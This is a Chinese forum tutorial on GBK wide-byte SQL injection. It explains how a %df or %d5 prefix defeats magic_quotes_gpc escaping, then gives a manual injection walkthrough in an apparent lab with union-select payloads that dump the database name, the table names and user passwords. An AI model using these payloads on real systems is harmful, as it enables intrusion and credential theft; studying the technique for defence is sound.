搜索
查看: 2351|回复: 0

sql宽字节注入

[复制链接]

578

主题

851

帖子

2163

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2163

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2019-4-10 08:01:00 | 显示全部楼层 |阅读模式
注入原理
在`magic_quotes_gpc=On`的情况下,提交的参数中如果带有单引号`’`,就会被自动转义`\’`,使很多注入攻击无效,

**GBK双字节编码:**一个汉字用两个字节表示,首字节对应`0×81-0xFE`,尾字节对应`0×40-0xFE`(除0×7F),刚好涵盖了转义符号\对应的编码0×5C。

`0xD50×5C` 对应了汉字“`诚`”,URL编码用百分号加字符的16进制编码表示字符,于是 `%d5%5c` 经URL解码后为“`诚`”。
下面分析攻击过程:

`/test.php?username=test%d5′%20or%201=1%23&pwd=test`

经过浏览器编码,username参数值为(单引号的编码0×27)

`username=test%d5%27%20or%201=1%23`

经过php的url解码

`username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23` (为了便于阅读,在字符串与16进制编码之间加了空格)

经过PHP的GPC自动转义变成(单引号0×27被转义成\’对应的编码0×5c0×27):

`username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23`

因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为’,0×20为空格,0×23为mysql的注释符#

上面的SQL语句最终为:` SELECT * FROM user WHERE username=’test诚’ or 1=1#’ and password=’test’;`

注释符#后面的字符串已经无效,等价于

`SELECT * FROM user WHERE username=’test诚’ or 1=1;`

条件变成永真,成功注入。

**补充:**

0xD50×5C不是唯一可以绕过单引号转义的字符,0×81-0xFE开头+0×5C的字符应该都可以。
手工注入
开启漏洞环境,并用burp抓包


爆出数据库
%df' union select 1,database() %23



爆出表
%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()  %23



注意:这里列出了四个users表,意味着该表下面有四个字段




爆出数据

查用户
%df' union select 1,username  from users where 1=1 limit 0,1 %23


查密码
%df' union select 1, password from users where 1=1 limit 0,1 %23


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
我知道了
快速回复 返回顶部 返回列表